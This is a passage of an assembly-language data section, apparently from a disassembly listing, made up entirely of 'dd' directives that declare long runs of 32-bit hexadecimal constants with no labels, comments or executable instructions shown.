0EAB442ECh dd 7F061AD5h, 0BB204A96h, 0EA9AC090h, 0AE9F379Ah, 5EF23105h dd 99ACD121h, 9E9C1C7h, 38F211D2h, 9C615581h, 0C374E801h dd 6858202Ah, 45956282h, 0CBE90D5Bh, 0C36B30C5h, 9BB0640h dd 0CE13EF0Eh, 0A4320FD5h, 0C9AE075Ch, 7B5A78CFh, 0A5DC192Ch dd 0D42A4252h, 58F3A886h, 5DC4811Dh, 8BB9F95Eh, 9DA65A5Fh dd 80D97661h, 4171EB51h, 0C4310BAAh, 0B29C8E1Ah, 7C9D4290h dd 54181B2Dh, 54B360E6h, 4B907051h, 34D53F32h, 0EBF660B5h dd 1E06D359h, 9F963FD3h, 2C83FD12h, 0EE685273h, 879515Ah dd 0BE01DD92h, 68C57E5Ch, 2C8BD0C4h, 1335997Fh, 4F26E85Bh dd 0E98513B7h, 2549FE43h, 0D89A005Fh, 0FA618E79h, 0D0E34AE2h dd 0CD8107CFh, 545C690Bh, 122AF071h, 77B07Eh, 6BCB7C2Ch dd 729D21C9h, 456A0F41h, 0F3E02A24h, 9C4FCED9h, 0F29CE698h dd 0F64CF2A8h, 0B1DD8432h, 0FAEAD104h, 288694D4h, 94C5FE04h dd 8CD5992Dh, 0FC748608h, 0F5CEBDAFh, 1F9913Bh, 0D71060E9h dd 568B7DA5h, 53C2D654h, 0DB680709h, 88F5511Ch, 0F8259330h dd 4E4B74DBh, 816BAC27h, 7E236808h, 85482923h, 8EF82D41h dd 577B973Dh, 19AEE904h, 8704C412h, 0B37A2CCh, 50E7417Eh dd 0FAD7A7C4h, 58311169h, 0C67323Ah, 0B4018324h, 0DAC48045h dd 2CFAB161h, 65F3977Dh, 25A1B279h, 6EF6060Dh, 5B09E9F0h dd 4CDBB313h, 80F60718h, 0DAF42EECh, 285C61D0h, 7F6813D8h dd 0D72FBC55h, 78E8D82h, 12F87F5Bh, 0D291A4C7h, 9E94FD49h dd 7451E917h, 76849340h, 481E3Dh, 2ED32B05h, 7485E927h dd 9D0F669Dh, 0BDEDEB2h, 7D3412CBh, 2CE99A21h, 2B402AF5h dd 26845C29h, 7E10981h, 0B87215Fh, 0B2C4F9E9h, 0DE58BA09h dd 0E890537h, 0B94B24EFh, 0F19497ABh, 8B5BB9B8h, 963A4CA7h dd 0FDE98142h, 8994F11Bh, 0E0FC9130h, 2F686650h, 33424229h dd 50C12D54h, 0E13A91B0h, 0C2DF7C03h, 0E3F655B5h, 949F635h dd 64276896h, 0A179571Ah, 0A1A67F32h, 7FEA80CEh, 0C4AF4DE0h dd 0DC555A10h, 174CF319h, 269A8BD3h, 0B4681DDh, 317A51A3h dd 0CD964F84h, 0CBB5ECF9h, 0C14793C6h, 11CE0233h, 4605A00Eh dd 7177D560h, 23BFA2Dh, 0DFB934C6h, 0E9090C95h, 560FA590h dd 803A03B1h, 0D32D0AC4h, 0EBA0F19h, 0E56A290Bh, 1981412Eh dd 0F6347E9Dh, 602D0292h, 0B4500F25h, 0A15A9386h, 0E0B62F2Fh dd 20F80C20h, 31F9DB97h, 63B0F919h, 58882FD2h, 216D326Dh dd 1FE0F3BFh, 2F62AFCh, 5860049Fh, 0F9964CF3h, 5FF438AFh dd 0F624CBE6h, 0D770A7AFh, 6817DBEEh, 49314234h, 0A69223B4h dd 38BAB4C5h, 0B20531Eh, 21DA80C9h, 1DD468E0h, 0DC5B5533h dd 26B55C9Ah, 9735A952h, 0E9049051h, 9DBA0DDCh, 0EFADEC1Ah dd 99F81A6h, 1B3B0480h, 0F78F3DA8h, 2D325129h, 3388287Eh dd 0B072607h, 2A82C23Bh, 9CFF8048h, 0A5319D59h, 0C7EC5420h dd 950FD142h, 6EA12F86h, 14138868h, 4872A28Bh, 20E10701h dd 0CF941D23h, 1C6BCBABh, 0F0985EFh, 9AF8006Fh, 6207654h dd 0E6C1DEF7h, 0E9150A04h, 786E1660h, 4E120A5Dh, 0B428542Ch dd 84E27ABh, 1D24537Eh, 6E42FB1Fh, 20F56610h, 9571C7h dd 8B1A37FFh, 0C8628A7Ah, 8016DB79h, 0F74B0A42h, 0AB8580D3h dd 96DA09E6h, 0CE5327F4h, 821FB583h, 0BCF48D29h, 4B19BD90h dd 5B7B808Ah, 4BF66852h, 5A462882h, 69F307BDh, 0D4E94FBBh dd 8799EF2Ch, 0B9E283E8h, 9DB6AA95h, 77A0F440h, 3C586680h dd 0D3A5D928h, 0AB5E3484h, 5124168Bh, 0D1CB420Fh, 0F00D2E4Ch dd 28C1215Eh, 4BCBB73Fh, 0ADC66EFDh, 2D07659Dh, 28761018h dd 854EDB50h, 0F0C4D6CEh, 254BB001h, 8003F0E9h, 0D9F6ABC9h dd 300E90AFh, 510359C8h, 0BAE922B1h, 0B2C95BF0h, 70F21058h dd 0BED697Fh, 0E1E349BBh, 804E194Ch, 51464C0Eh, 5DDC012Dh dd 0F0292E5Eh, 0B0074605h, 67229A00h, 0E9525323h, 0A8974A84h dd 0B2C7A740h, 0C50BA3D9h, 70EA82D5h, 97A3FCD9h, 5CE4DD7Bh dd 0F77181FAh, 50A96DFh, 82E414ABh, 493A2570h, 2A5F7341h dd 52876B16h, 0FDF15855h, 0A183FD3h, 5BE6C02Ah, 4F8ACB01h dd 444F4BB2h, 0BF129A6Ah, 1E129EDBh, 1F61B2B3h, 4D9C18B1h dd 922CC80Eh, 67ACFB12h, 48869D5Ah, 724123C7h, 0B0C79330h dd 826838FDh, 8F402BCCh, 0B9D94A35h, 7FF7DEE0h, 60D8F702h dd 3E7B1A15h, 4BAE208Fh, 4D5F8904h, 6B60F100h, 26C26A85h dd 0C03F50E6h, 9D07F482h, 2962327h, 0DF60F68h, 15129C24h dd 93D02AF8h, 60EC8FB2h, 6374B881h, 66B31CA9h, 4B39D81Fh dd 352EF4E1h, 0D4B008CCh, 5D4D6805h, 9D570A8Ch, 5F77CCC4h dd 9F059192h, 583F2C46h, 58BAEC2h, 3D3C810Fh, 570374ABh dd 3685502h, 5C2BEE0Eh, 0AE7458D0h, 7BB1B3ABh, 0FBAF89A9h dd 0A842805Fh, 796A806Bh, 0A0C3F001h, 970B8B08h, 0E985D959h dd 0BEC89641h, 0CB5C129Dh, 6C5A0014h, 5133CDD6h, 0C048E912h dd 78F9AD49h, 8BBB9DA4h, 3FDF8ED9h, 635DA622h, 0C6FA49h dd 0FEC0E580h, 754BCD5Ch, 169F03EEh, 92A125F7h, 2E68A610h dd 6CCA6A17h, 35DF101h, 3C70A235h, 0B5DFE4C3h, 0C46BF459h dd 0FE3E202Dh, 98EC294Ah, 1FF81884h, 0A6ED7CCh, 6D6EBD50h dd 208BC59Fh, 45DE41F0h, 0B6E7F4A3h, 0FBBC6E4Eh, 9737C4A7h dd 6EA552D0h, 2490A446h, 7181A725h, 0A043886Ah, 5EADC82Ch dd 0AB0C351Eh, 0C6E92DD0h, 0E0E2949Eh, 2F736856h, 9437C925h dd 0EB1DBCB0h, 3100C87Eh, 0E9747A34h, 0BF519EB3h, 0E6CF63D8h dd 2F6809D0h, 6536566Bh, 5F58D3F9h, 105FB7B2h, 722C028Ah dd 0EA187C43h, 4F3FC0CDh, 5A1FF06Bh, 3901FB90h, 5976B767h dd 4B1D1F7h, 0E97A5B76h, 3C084079h, 3B2EC24Dh, 823CDE21h dd 942905E2h, 74687551h, 86E2FBF2h, 0D189BA12h, 27E9DF2Ch dd 0E9F922ECh, 44DB5C69h, 2BD1E1E4h, 0A85AFCCFh, 24EEB5ADh dd 1818B78Dh, 0F74FB190h, 5BB3F28Ch, 4F27A931h, 6F6235F1h dd 26F48FC9h, 5028A73h, 2241AA59h, 585B2B0Fh, 0D5ABC5DBh dd 0A7F409BBh, 27E69029h, 76F82931h, 0F63258C5h, 0E8E9F613h dd 1CC25DCh, 283868D4h, 6B628F6Bh, 8027C084h, 2CD73C7h dd 5F2CFAF7h, 8989F828h, 0F9659B48h, 0B8F5F9C0h, 0F6B92EDAh dd 3FBC6089h, 0D888B4EBh dd 17B25B09h, 28A90230h, 40C97FD3h, 0B82EC23Bh, 1351DB10h dd 44C0DCB5h, 0EECAF1D5h, 2A6890C8h, 4BF14B6Ch, 590E0257h dd 0DD80C729h, 7ABC165Eh, 0C31324B3h, 0B824508h, 0E57E888h dd 8BBB28Ch, 5B1B2051h, 7FB2C12Dh, 4B5AD5C0h, 0BE039428h dd 975CD788h, 0B8E21051h, 0E494FF6Ch, 57829071h, 0DB5C6290h dd 64FD5381h, 84ACB42Eh, 43CB193h, 73E24935h, 24B4FDF8h dd 0CD25EA31h, 2EBB8152h, 4B7C5CC6h, 2768916Ch, 289258DBh dd 61015474h, 0ED8149A2h, 0A04B402Dh, 0BE055662h, 75F36839h dd 0DD3A5CBFh, 3D2801B0h, 89AC5FE9h, 982E35E9h, 0FED788EFh dd 1EE16072h, 2EAC05Bh, 2AF721E7h, 0B8339DE1h, 0F9EBCD4Fh dd 0AA823F8Dh, 8696FD01h, 2C08313h, 4B4846CAh, 792AC44Eh dd 49617A93h, 3F23BB58h, 0A79D3078h, 607C61CDh, 0F6B9375Ah dd 6521FA93h, 0E03F474Fh, 22135AFDh, 6D0119ECh, 70504426h dd 5C150C84h, 8B14811Ch, 662D00D3h, 0D110E18h, 2B60D0F7h dd 5679B1Bh, 337C8C04h, 36F30155h, 2E59DC54h, 8C43861h dd 5716BF6Bh, 0EE052E04h, 2E55DE18h, 5B12D51Fh, 8C552D17h dd 525A1DCBh, 77CEC65Dh, 0EBA8F238h, 0BF6B5014h, 0A6AD0BDEh dd 6853D198h, 0FC787420h, 1DA295AAh, 6D7F4DA0h, 0BE531633h dd 85FEAB0Bh, 13AFF105h, 7968EF67h, 6024985Ah, 0CEC9C570h dd 3C5E231Ah, 750611C6h, 0EDA22503h, 110C2DF3h, 69849B54h dd 1F581CF4h, 5C24DB4Bh, 7F099004h, 0F61AB201h, 84020D2h dd 0E56034F8h, 2365EE75h, 127AE36Bh, 7F0BDDBh, 6D99747Bh dd 0E2D65196h, 9812F02Fh, 6C600CCFh, 0D80D3F30h, 0E91BCF09h dd 1787097h, 4C2673BDh, 0F028290Eh, 0FE9C2CDCh, 0A787E153h dd 11E08F4Dh, 0CD95C0ADh, 6FF14BBEh, 0FB09B998h, 0DC7FF74Fh dd 4BE52947h, 9246C0A2h, 4956BD00h, 0DD404878h, 0E9F40325h dd 0B044EBAh, 3109FD1Ah, 5DFEB582h, 0E66336F4h, 856B9766h dd 6AD4D8A6h, 1353DBBFh, 38FDBA88h, 0B19800D2h, 28F32C9Fh dd 2BE9C879h, 0D8EC4E99h, 96B32C53h, 0B9091607h, 69E91337h dd 1D80DA5h, 37299DB2h, 0D0B57E50h, 0C149F34h, 0B3A650B5h dd 18418BC9h, 2DA7BF5Bh, 708843EDh, 0B801CF71h, 3C5F01CDh dd 84542561h, 92418BEFh, 0BCADE753h, 0FF336850h, 9B20405h dd 0B86605E0h, 896A04AEh, 7E8BBAC3h, 60EDD810h, 0A21D5D66h dd 0B213F6DAh, 0D7F72EE0h, 9D780B41h, 907AC68h, 0F67E3625h dd 99F288Ch, 66FA4676h, 0D7E89F84h, 0B8ED64B9h, 13985E25h dd 389650EBh, 0FBF705E7h, 0C1CE01BCh, 325EF348h, 69310C4h dd 6716423Bh, 84CDBD79h, 6805900Dh, 0A034EFF7h, 120127C0h dd 734B4Dh, 0F0C581C8h, 0CBB02EDFh, 0EEC5384Ah, 0C2A417B8h dd 0F220E8B4h, 0FD3A7AF9h, 40C4803Eh, 71250F35h, 8B3C4020h dd 73AF2F1Bh, 809BB4Ah, 22B9F0Fh, 0C91415Bh, 0CB6D029h dd 7CB460F1h, 38824C94h, 61408EEEh, 0E528A73Bh, 0A8F1D39Ch dd 0F95E27EBh, 0E5D1038Bh, 0EF93FD31h, 44E90812h, 0BA9BC4h dd 0B652FEE2h, 0CF580102h, 8208411Dh, 9F45E11Ch, 58C7F656h dd 0C1802A0Eh, 430828EBh, 0BF422CF8h, 0CB310A8Ah, 5BDA07D3h dd 0F0749B68h, 32A992B4h, 4D25CC5h, 0FC68587Bh, 6CF89345h dd 406E579Fh, 0D962BE53h, 125ABEEh, 54475AFEh, 7BB97B1h dd 9F95A70h, 0C3C7B24Bh, 0A5C3B8EAh, 4D4AE4C2h, 55600DDh dd 509FF748h, 16E5FCC2h, 0E0030262h, 8A2EDE5h, 0D0602390h dd 4E06AB83h, 9C20B0A5h, 7DEF741Fh, 0BD84F712h, 71661ECh dd 0DE5DB872h, 0C9BD284Bh, 163AD565h, 32B2B85Dh, 788FE25Ah dd 0B9474E7Fh, 0AE56078Eh, 95E4C9E0h, 9505DCF0h, 5A48D2F2h dd 65582F29h, 0EDD62715h, 0B67AEE2h, 302581D8h, 50F1F4C2h dd 48BE5FFDh, 2A563192h, 0F210AEB8h, 655D2EEAh, 22D39ECFh dd 0C38526A8h, 8DDA404Eh, 1A688704h, 0DF8C534Eh, 1687D26Bh dd 8269AE8Dh, 9142AA20h, 89C901AEh, 315CB210h, 30E86120h dd 0B3A54B9h, 0B84AF02Bh, 82A401F9h, 0B27F0344h, 0DEB46AE6h dd 7A1A6D45h, 5E90F480h, 7B2A4886h, 0AE1D4A05h, 0C0D1EC01h dd 0F9315EF7h, 40CE905Fh, 0E13980D5h, 0F5C197DFh, 5B12CDF8h dd 9A40BC52h, 26A681FAh, 16F43E9h, 572CBB87h, 0E855F25Fh dd 0B566DEA5h, 0A5888879h, 22B90189h, 0AC5B8A0Ch, 0E30B5AD8h dd 971CFCA4h, 0B233B81Ch, 0B9D2C154h, 0DAB75300h, 7ACF8014h dd 257C20FCh, 3CFEE6D1h, 4DB8C681h, 55301F88h, 6B2B16ACh dd 0D02F1710h, 230DF5D0h, 2688F3Bh, 4635F9E5h, 24984049h dd 0B7FD01CEh, 440FBA05h, 2DFE6053h, 76C007A2h, 22B51215h dd 780FDB5h, 0A341EE0Ch, 0C6345A2Ch, 742601FEh, 0DA253D0Bh dd 539EE21h, 0FB293ECEh, 0F460E55Fh, 1FC122Fh, 0C0CDDA5Bh dd 12093D20h, 3133D5Ah, 0CC6ED412h, 88C58494h, 321F2D9Ah dd 9DC83631h, 0CB010CFCh, 56F8CA56h, 8325727Dh, 80D8D1AEh dd 5C842AE6h, 79977C29h, 5D0CA05Fh, 5505C45Fh, 0E00B5138h dd 7918BAA4h, 0C1D2964h, 1690043Ah, 0BB673BE9h, 8E3BBF2Dh dd 200C20FDh, 6816B699h, 8EDA1FB4h, 68B02C4Ah, 0B81A749h dd 287DFBE9h, 5508B58Bh, 0F1800706h, 0D7CEF4E7h, 0E3F4800Ah dd 587BE288h, 30C44D25h, 94039369h, 91E9C1ACh, 212689AAh dd 4676A9F8h, 0DA1BB545h, 12103058h, 0CCE38CD6h, 0F6E28681h dd 510893D4h, 6530DB18h, 20899F8h, 52A17B4Fh, 0F2188BC3h dd 2518190Ch, 0B427487Dh, 0BEFC6412h, 0B635A929h, 0E985AA28h dd 51BDB07Ah, 0C0BD94B2h, 3A73D13Fh, 0C292533Eh, 0DE3DBCFBh dd 7F39EF05h, 763A32C1h, 7BF86800h, 2B8469Dh, 41C75FE8h dd 3CD677E9h, 2CBA5B13h, 0E324E9E7h, 0E5960764h, 0C80F68Dh dd 63E81634h, 8C995CE9h, 7E17A789h, 6F418882h, 0FC74D027h dd 2C229A34h, 39DDE2C1h, 0B72726BAh, 696BED0h, 0D1378A5h dd 0F824C1CAh, 0D124A754h, 0F1098A52h, 0CF096FCEh, 1E5FB2C2h dd 0EEE91417h, 93D394ECh, 73C61530h, 0B805D803h, 0E12FED6Bh dd 8C3E119Fh, 4E00BDD1h, 0BF79AB6Eh, 0B1F0F3Dh, 0CF5E993h dd 90671477h, 0A0130BDh, 0E199C31Bh, 31BE9D0Bh, 0C208F6D8h dd 9475B683h, 779A9564h, 7AA35FC1h, 906D73C8h, 9D3490F9h dd 2C923368h, 4B6F211Bh, 0B4BFF06Ch, 0DF012E4Ah, 6DCD3E69h dd 4A43CB5Bh, 0BE564E80h, 17417F18h, 4217E94Ah, 2DD8011Ah dd 5B23A9F7h, 0CBDD09A8h, 6AB5EAD9h, 63D7CEBFh, 0E5E9571Dh dd 6FD8F6B5h, 0EDB1FBh, 1D76696Bh, 25DEFC1h, 5D9A0526h dd 62850107h, 86186ACBh, 57094D94h, 122C1C48h, 14D76390h dd 0BF7E992Fh, 5C1E5BF4h, 905A5436h, 791813F4h, 26E9FC17h dd 8308F3A1h, 0F5422798h, 580E23F0h, 5D7A4E5Ch, 66EDCEC3h dd 7E7C242Fh, 0D2F78634h, 0EF055287h, 8D7DED14h, 893D14B8h dd 0D382B2CFh, 0B026C6E2h, 5256AE45h, 19087B7Ch, 258B1F28h dd 0C3E09E5Ch, 519B151h, 0E9E4EB80h, 4E36AC66h, 79D21E77h dd 0D544D714h, 4E5DD7A0h, 35629A00h, 770C634Ch, 10B7090Dh dd 0F7F67FF3h, 1F12FF26h, 2C3BF5DDh, 969E58B7h, 0B264F580h dd 0B531D189h, 0FEC3F161h, 0C1D5B057h, 0A4688062h, 8D996C5Bh dd 0E968706Fh, 5A910727h, 9A5D18BCh, 8A756C3Fh, 0BE012B7Eh dd 216D7CD2h, 0FD19A13Ah, 0EF2901DDh, 77ED8740h, 5B6D7D66h dd 5ABB01DBh, 3324B368h, 92523F86h, 7B4B7560h, 0EF2B85C7h dd 0DC6B4EB7h, 965FCCCAh dd 0E6FC2008h, 0A550D3B7h, 0F71E39E2h, 0EF87474Ah, 2FFEE7A0h dd 3F6595F7h, 727152B0h, 0E93B0B67h, 2FFEF8DFh, 0CA448BE5h dd 35BF67AAh, 4672B3CEh, 2BC751B3h, 7B677413h, 0B0E0B8B4h dd 0A4D24A5Ch, 6140E457h, 5489ECADh, 0EE68CF7h, 35075E09h dd 68E8F6C0h, 9C903145h, 0BDC92300h, 5EF201FAh, 0A2EA5B83h dd 0D11A15A7h, 39FB783Bh, 0C3C1021Dh, 84730D05h, 61E8A5D5h dd 0B4410B93h, 0D50A1A5Dh, 4FC40194h, 0A0CD0F39h, 5F4A8D30h dd 40B3B7D0h, 51B572B0h, 96FBEB27h, 38EBC316h, 0D3605C79h dd 34EC6B9h, 9AA2F7Ah, 42FE1AD0h, 50EFD9Ah, 265F7C7Fh dd 7D04D0F7h, 0F5650B2Dh, 29004873h, 3EC8143Ch, 570926B4h dd 52F4FCFEh, 7D276E40h, 9D81D39Dh, 3F3B9768h, 265630B4h dd 9ECE9CE9h, 0B4605ACAh, 0B680915Ah, 0EE8007EAh, 0BEF4281Bh dd 907BCCC7h, 1EE98EECh, 7843A84Fh, 0CCD858E8h, 0DE26C8AEh dd 606D0D19h, 24820212h, 18D43622h, 561F8FFEh, 0DA6B460Bh dd 0A606BDAh, 0E904B06Dh, 98EF1931h, 0DDAA512Fh, 0BDDAA8FFh dd 7CC21A09h, 32F5495Ch, 0CBFDC5Ah, 7877E39Ah, 9FEC788Ah dd 68098660h, 0EB899818h, 80F4662Ch, 0E6CACB28h, 1C90CFBBh dd 32E9FA8Fh, 1B0B25F0h, 0E870CF37h, 82E66C81h, 0F9DEE005h dd 773D3045h, 2D4507B8h, 2EF493FAh, 0C231672Ch, 5056DABh dd 0FF63237Bh, 25426930h, 817B1305h, 0D2D2B844h, 1D86BFA8h dd 0E32ED5D8h, 0CE020E06h, 77144B7Dh, 56242794h, 0F6172D50h dd 35617F30h, 0C11D7D0Bh, 725451D5h, 0F589602Fh, 0E95807A0h dd 0F4183A25h, 0A0FD65DDh, 227E35D3h, 316DCF01h, 646858C2h dd 305DA47Ah, 0F3ACFE5Eh, 0C2E534E7h, 0C7D299DEh, 6055A00Fh dd 6BEA6663h, 23CA0437h, 0C056E142h, 0F773B7FCh, 0F3C46AEDh dd 0D95693ECh, 6476532Eh, 0B455BC1Ch, 5AB74EC8h, 5C9F2368h dd 0BD669507h, 0F495D81h, 3632AF0Eh, 7ED10212h, 0F878B853h dd 4B53FC4h, 8CBBB966h, 65698CA8h, 0A897D95Eh, 7B8B9704h dd 9526B8BBh, 2542BF28h, 26420B5Fh, 0D2BC3C5Dh, 2410AD3Dh dd 2C08E7F1h, 20DA20A0h, 0FEB0054Ah, 34A8C79Fh, 0FAE00DAh dd 8161A448h, 2501EE34h, 31FBFA80h, 88A7F31Ah, 3BFED9E1h dd 40B0E814h, 5181F782h, 9582D270h, 1B3D0B5Bh, 0BD15DE2Fh dd 0C58019C0h, 2D06CB06h, 2E2034D0h, 2CAC04BDh, 0BCD828D7h dd 80B3A172h, 10257F70h, 16C2F3E9h, 40FE12B2h, 0C5B55189h dd 0DA73ED80h, 4ABF4FB8h, 0E94CC1B2h, 0B62EA8E1h, 4F4D7AC8h dd 4674CB1h, 3C4C028Fh, 0AF658901h, 2685401Ch, 794E3B6Ah dd 0F8E4A6FCh, 3021A587h, 3B2220A9h, 0DF34D392h, 0B5DBBCADh dd 24C37C08h, 975E1104h, 0A07E57AFh, 6812FDD1h, 0EECD615Ah dd 256318F4h, 0DF15636h, 25CCDC27h, 26B4CF1h, 0D7D4E9D8h dd 3D5B4119h, 2BF81365h, 0D7833E0Eh, 2AE96F02h, 6F6E7F16h dd 4F8C8F5Eh, 62B900BFh, 814F5526h, 9E0072F7h, 7405531Ah dd 3C416C22h, 0BB28F801h, 1874B408h, 3AD1985Fh, 51AC401h dd 9C718CBh, 68F3806Bh, 0C9441DCh, 0F5A22362h, 9150A63Bh dd 7997F47Dh, 0F0C6A5CDh, 170F505Ch, 0F329D684h, 5709446Fh dd 6B25AADAh, 0F39C6804h, 4539BE00h, 46483EBFh, 79370211h dd 5F4E127Ch, 236E3DE8h, 84AA393Fh, 2D2443C7h, 0C895AE04h dd 0F19F1FEDh, 43CBA6D7h, 9102D40Dh, 806AC4C7h, 7064D56Dh dd 0CDF4664Ah, 88C54EDEh, 0CE07B8F1h, 4054CA52h, 0D89098E4h dd 1E17BD68h, 0C95F1037h, 0CC24AD4Ch, 0E5CBAF56h, 0AA0C8716h dd 1DFAC671h, 74822D00h, 0B066682Bh, 0B7646597h, 102D1A80h dd 2149845h, 763F0927h, 80D7EEC1h, 423651B0h, 0B6E91226h dd 6F528DF2h, 29AA1057h, 1E4520FEh, 6061067Ch, 0FB47F056h dd 0FE298A41h, 0A1442E36h, 0BEEBA052h, 7F4082D9h, 0E4BDAB46h dd 0A870B5D3h, 9DED6E5Bh, 36682581h, 0A3D73B01h, 1089A440h dd 0CB29256Fh, 55EDA14h, 30E927F4h, 0B04EC7CDh, 0E850C09Ch dd 0F540E1CFh, 1DCB0081h, 4B40482Eh, 35EEBC1h, 3F05FAADh dd 0ABFF9E32h, 0F5211BC1h, 105ECA4Bh, 22049EF4h, 0FE19F6BFh dd 0A1F2E309h, 66E668E3h, 954EFB23h, 36EA86DBh, 320928F4h dd 80C28336h, 6F49EAD9h, 4A2F3006h, 0C37C8F0Eh, 176E3748h dd 9CF50B70h, 5BFD3B31h, 9379F804h, 0FFD2F3ECh, 0FFEF632Ch dd 0F94FD829h, 0EBE9174Eh, 0FEF67C52h, 0F46F4B7Ch, 5298F588h dd 3581864Bh, 9620C709h, 9F7A92F3h, 0B1FFA9B2h, 6C3531E4h dd 6EE7862Ah, 515EB627h, 0F6854F26h, 0BC40FB0Ah, 8C685756h dd 0FC5C7209h, 418E4F32h, 0B52675AEh, 2D14027h, 355D0F62h dd 76E909A5h, 95169479h, 2DB1DB40h, 6CCB2825h, 4F5098CAh dd 9683AC10h, 0B5FCB604h, 6A257FB3h, 53B588D8h, 9677E98Eh dd 532304A9h, 3929F78Eh, 135EF0ECh, 0A345E168h, 0B36D0493h dd 90E96634h, 8457B997h, 62BE9078h, 4ADF059Dh, 0A2845D2Ah dd 4B76ACCAh, 0D3C77ED4h, 1EBDB2h, 5F205AB8h, 0E7310628h dd 0D8D1575Bh, 0F805B123h, 0B8CA02BCh, 41189B1Ah, 63CC26F4h dd 500B051h, 20B51B54h, 0BBC1EA21h, 977F8FB4h, 12EEF464h dd 0C45FB8BCh, 0B562F828h, 6C684620h, 0FE6B540h, 0A52AB81Ch dd 889EE5A7h, 5E16FC7Eh, 49265FCh, 0FD551Bh, 0DD685854h dd 3189F46h, 0A1006512h, 28ED8110h, 97DFC14h, 0F3B2E945h dd 0F6AD97F3h, 0E3D32D58h, 0BB71E98Ah, 2FA456A7h, 72526B76h dd 863E54BBh, 3A89B466h, 85B104Ah, 5AADE93Dh, 5FC68C98h dd 42E587CEh, 61799525h, 0B082072Eh, 0F7CD1C45h, 0C3C568DFh dd 603017E8h, 90B1361h, 69283F7h, 13129C7Dh, 0FD14FEE9h dd 465905FEh, 6DC05EC4h, 98FA315Bh, 49F64AD7h, 70604042h dd 0AC90E6C1h, 3A1A6627h, 2092F4B0h, 76CD4DF7h, 7813B905h dd 0BAFB0EC1h, 0DD2D0230h, 0CE427068h, 0C3312621h, 87BF096Ah dd 6857276Ah, 124C29FAh, 0D0590824h, 0A23F47A2h, 3E7D0B48h dd 2468406Fh, 0C19C6421h, 0FD1E5CDFh, 74FEF85Ah, 0C320639Ah dd 0CF810665h, 58C50FABh, 0F1F1F77Ah, 97847ADDh, 10D2C4B2h dd 0E9123D37h, 0B6F7A01Bh, 0B1207324h, 0BE1208h, 0ECC077B4h dd 0D409F608h, 995B1868h, 2C89B103h, 891088B5h, 908261CCh dd 80C5152Bh, 0B324685Fh, 11C0842Dh, 0FA04AB2Fh, 0D366628Eh dd 11F56C03h, 85E3C710h, 5BC9E3FCh, 11EC2355h, 2CFD2585h dd 0DFA21D44h, 1542AFAh, 25D758B1h, 0A3E93DD0h, 0F1D99FD4h dd 0CFBF59CBh, 8959EE6Bh, 6809732Dh, 0F3890BADh, 0EB5A0584h dd 347BDA29h, 96FEC080h, 1D60B447h, 0EB0CC40Ch, 0F129346Eh dd 0C081A34h, 825E1404h, 7848CB2Dh, 5002EFD0h, 0FB348CB0h dd 80776030h, 0FAF473CFh, 692CC4B8h, 438CEAA2h, 75422568h dd 0A6136219h, 7EAD1C4Fh, 829DBAB1h, 59F8E508h, 684419C8h dd 911508F7h, 7FF7B900h, 9849770Eh, 9B882557h, 0B020E8CCh dd 91587770h, 0E393080Eh, 304DB28h, 2939849Bh, 0F1DA913h dd 0D6A5043Ch, 6D8B5E04h, 84AEA417h, 12929425h, 9F96F791h dd 0F324557Dh, 0D1690518h, 0EF68856Ch, 1F18254Ah, 2D7F00D2h dd 658248FCh, 0DE49490h, 4BB76298h, 617598CAh, 0B1505C29h dd 8963D206h, 8A4BC654h, 6320B7F1h, 743A261Fh, 86020960h dd 5BDF1857h, 0D9E6886Ch, 61A05113h, 16A13F00h, 923140BAh dd 2F61FDBh, 9348948h, 0E63BB402h, 0C68FE0Bh, 0C147EC6Ch dd 2A746F0Fh, 7EBCBD10h dd 0C14408A2h, 76F2C427h, 0D2687033h, 0BEEC0B5Bh, 0ECBBB0C5h dd 136882F7h, 985DFE34h, 0E580BB4Ch, 4E097FF1h, 5CC4E135h dd 0E4E1843Eh, 845E79C8h, 47B04741h, 833B2268h, 3799812Dh dd 6B7E713Bh, 53DA0C01h, 0F27D6740h, 15C4F784h, 0BE12736h dd 0C253D1DDh, 5F02DB45h, 9A816047h, 7B0A3B52h, 10C6EF07h dd 0FA090262h, 8E2E380h, 166995E9h, 0FB5ED83Fh, 6F36E9h dd 225DBD75h, 0F7000282h, 6EDC1DDh, 0B5C58145h, 8E134758h dd 9143AAE9h, 13202768h, 325B0387h, 0B45E512Ch, 743F68E1h dd 691D3926h, 936F144Ah, 0F65FEF05h, 6C894230h, 0AEF70ACBh dd 53676101h, 93BF647h, 0A4D4919Dh, 59AE0A09h, 0BCAD884Ah dd 0E2337C2Dh, 802A5642h, 3FAFE25h, 5901876Ch, 79B2CAFCh dd 0CF07DB5Eh, 5D74895Ah, 64A95080h, 0B013513Eh, 75882EC8h dd 63DF4C6Eh, 834AB927h, 0C9CF4774h, 0D62ACA4Bh, 2095A091h dd 0B3979668h, 68A5E2CAh, 4EC2801Dh, 0E29881C1h, 9EAE07Bh dd 287C20F7h, 0D6FFD17Bh, 0E0A50079h, 7FB5512Ah, 0ECED2DEBh dd 0C0AF355Bh, 782832F0h, 0E2584FE5h, 0CF1192B7h, 0E7D62A52h dd 0F4F68017h, 0DB311CEEh, 0D0833CC2h, 46127F4Ah, 815B140Bh dd 0EBC17A7Dh, 1CB7320h, 83A717Eh, 548FE94Bh, 0BD99BEC1h dd 0CEBEB4D7h, 0AB8640E3h, 83AFF483h, 0B4A52CD2h, 0A64FB9EEh dd 0ECD712F9h, 554B841Ah, 20A45A18h, 85903171h, 38B17904h dd 0FA1289FDh, 50471600h, 1323BD55h, 0B005DD51h, 4A9729B6h dd 0C996D193h, 0E9F810FEh, 96249A60h, 8E444F62h, 0E88ABFE2h dd 9E12194Ch, 0FB8CC92h, 88BB4Ah, 9E5D8254h, 0A697E2h dd 660B29D0h, 17EF8BAh, 7DEEEB59h, 7B789DF9h, 7AAA85Eh dd 11C78ABh, 0C8C2F514h, 4B94F27Dh, 2BE0E5B9h, 97C92BF2h dd 0FB97B670h, 46554969h, 279B989Ch, 0CBFC7565h, 841C3528h dd 0D867A67Fh, 0F5782FFBh, 8995054Eh, 0A5D4747Bh, 0F149185Ch dd 0E96C3B77h, 1C144862h, 9EF252Ah, 805312DFh, 64F1CF17h dd 2C264C9Fh, 4D493003h, 0AAE4E934h, 0D5EAF549h, 705D11A7h dd 8004EDC2h, 4A0755Ch, 8733BF5Fh, 12DC09EFh, 18D4DF42h dd 806A2870h, 0EB5BC059h, 0E124FDBCh, 0D7EA6EDh, 0F5ADDDB1h dd 0B4C251D2h, 0A9F43ED0h, 7E9983ECh, 0A8A3C5E9h, 0E509C320h dd 5D3B7177h, 0FD106380h, 0AB28E969h, 0C520279Eh, 